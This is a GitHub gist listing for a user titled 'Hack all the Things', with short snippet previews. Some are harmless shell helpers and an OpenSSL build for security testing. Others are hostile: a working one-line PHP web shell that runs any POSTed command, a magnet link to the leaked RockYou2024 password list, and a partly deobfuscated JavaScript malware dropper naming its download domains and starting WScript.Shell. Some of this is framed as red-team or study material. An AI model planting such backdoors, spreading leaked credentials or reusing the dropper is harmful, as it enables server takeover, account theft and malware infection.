Julio C. Stefanutto jcesarstef

Hack all the Things

jcesarstef / jgrep.sh

Created January 7, 2026 02:08

Tired of messing up the grep argument order, so I created a new Linux command: jgrep

	# jgrep: Comando para inverter a sintaxe do grep, recebendo o arquivo antes do termo de busca.

	jgrep() {
	grep "$2" "$1"
	}

jcesarstef / rockyou2024.txt

Created July 9, 2024 03:39

RockYou2024.txt: 10 billion passwords leaked

magnet:?xt=urn:btih:4e3915a8ecf6bc174687533d93975b1ff0bde38a

jcesarstef / .bashrc

Created February 22, 2024 19:39

meuip.com.br from CLI

alias meuip='dig +short txt ch whoami.cloudflare @1.0.0.1'

jcesarstef / ssh-login-attempts-usernames

Created May 6, 2023 23:32 — forked from royra/ssh-login-attempts-usernames

jcesarstef / phpbackdoor1.php

Last active December 8, 2022 19:57

Simple one line php backdoor #redteam

	<?
	/*
	@jcesarstef
	https://www.php.net/manual/en/language.operators.execution.php
	PoC:
	php -S 127.0.0.1:8081
	curl 'http://127.0.0.1:8081/phpbackdoor1.php' --data 'q=whoami'
	*/
	$a = $_POST['q']; echo `$a`;

jcesarstef / REVERSED_20150814_4a28a7fe949b6e449bc8d595ca196417.js

Created March 14, 2019 23:23

#1 Simple malware deofuscation for for study purpose

	// Source: https://github.com/HynekPetrak/javascript-malware-collection/blob/master/2015/20150814/20150814_4a28a7fe949b6e449bc8d595ca196417.js

	var stroke = "5557545E0D0A020B24060108130B0B000A1D4A070B09";
	var x = '';
	var vi = '';

	function dl(fr) {
	var b = "idsecurednow.com laterrazzafiorita.it ihaveavoice2.com".split(" ");
	for (var i = 0; i < b.length; i++) {
	var ws = new ActiveXObject("WScript.Shell");

jcesarstef / build-openssl.sh

Last active July 12, 2017 00:38 — forked from bmaupin/build-openssl.sh

Build openssl (with SSLv2/3 support for security testing)

	#!/bin/bash

	# Get insecure OpenSSL 1.0.2 version from https://openssl.org/source/
	# v1.1.0 seems to have removed SSLv2/3 support
	openssl_version=1.0.2k

	# Build OpenSSL
	wget https://openssl.org/source/openssl-$openssl_version.tar.gz
	tar -xvf openssl-$openssl_version.tar.gz
	cd openssl-$openssl_version